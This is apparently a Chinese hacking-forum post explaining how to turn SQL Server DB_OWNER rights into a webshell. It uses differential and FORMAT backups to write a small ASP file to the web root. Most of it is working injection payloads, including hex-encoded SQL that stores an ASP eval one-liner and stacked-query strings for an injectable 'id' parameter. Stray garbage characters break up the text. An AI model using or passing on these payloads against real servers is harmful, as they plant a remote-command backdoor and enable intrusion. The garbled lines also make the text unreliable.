DB_OWNER权限得到webshell的改进办法

admin

DB_OWNER权限得到webshell的两点改进:

. M3 z' m  J( E- g/ K减少备份文件大小，得到可执行的webshell成功率提高不少
一利用差异备份
# B, w8 ^7 `  J; b$ w& |加一个参数WITH DIFFERENTIAL
% x1 K. m  p; O
- B: d% p( m" _1
( C9 O. f! X6 D8 z( W2
4 ^, x! Y- w3 V: ~( H3
4
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
create table [dbo].[xiaolu] ([cmd] [image]);
insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH DIFFERENTIAL

二利用完全FORMAT
加一个参数WITH FROMAT
有些页面对数据库要执行几次，而备份又默认是每次都以追加的方式，如果一个注入点对数据库有几次操作，而备份的文件就 几倍的增加，所以

/ z: o5 p; y" Q' y' @1
2
3
4
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
" U- A1 v3 l5 D  P: i8 j2 Ocreate table [dbo].[xiaolu] ([cmd] [image]);
( B! W" D- Z! B) ]3 qinsert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
% K% ?6 Q% F3 i* u( @3 O" r$ ~declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH FORMAT
/ E7 N2 t, }0 o# o
总的来说就是那么简单几句,下面以备份数据库model为例子
1
  T) D, f; O- }, y! V
1
id=1;use model create table cmd(str image);insert into cmd(str) values ('<%25execute(request("a"))%25>')
( e+ B1 s, N) c. ?2 v/ w# o* U
- i6 P" _1 W2 k5 V" }/ M9 g( D' W2

1
9 I( a  W7 u4 A% J* g0 X id=1;backup database model to disk='你的路径‘ with differential,format;--
" M- N; Z6 s# i4 s) k+ u, `